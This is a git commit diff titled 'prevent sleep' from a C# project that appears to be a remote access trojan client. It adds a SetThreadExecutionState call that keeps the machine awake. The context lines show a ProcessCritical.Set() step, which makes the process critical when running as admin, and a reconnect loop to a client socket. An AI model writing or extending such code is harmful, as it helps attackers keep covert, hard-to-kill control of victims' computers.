prevent sleep

This commit is contained in:
NYAN CAT 2019-09-15 15:53:26 +03:00
parent b96daccc0b
commit 3299c50dd8
2 changed files with 33 additions and 8 deletions

View File

@ -12,6 +12,7 @@ using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
namespace Client.Helper
{
@ -120,5 +121,23 @@ namespace Client.Helper
return null;
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
public static void PreventSleep()
{
try
{
SetThreadExecutionState(EXECUTION_STATE.ES_SYSTEM_REQUIRED | EXECUTION_STATE.ES_CONTINUOUS | EXECUTION_STATE.ES_DISPLAY_REQUIRED);
}
catch { }
}
public enum EXECUTION_STATE : uint
{
ES_CONTINUOUS = 0x80000000,
ES_DISPLAY_REQUIRED = 0x00000002,
ES_SYSTEM_REQUIRED = 0x00000001
}
}
}

View File

@ -23,6 +23,8 @@ namespace Client
Thread.Sleep(2500);
if (!Settings.InitializeSettings()) Environment.Exit(0);
try
{
if (!Methods.CreateMutex())
Environment.Exit(0);
@ -35,6 +37,10 @@ namespace Client
if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
ProcessCritical.Set();
Methods.PreventSleep();
}
catch { }
while (true)
{
if (!ClientSocket.IsConnected)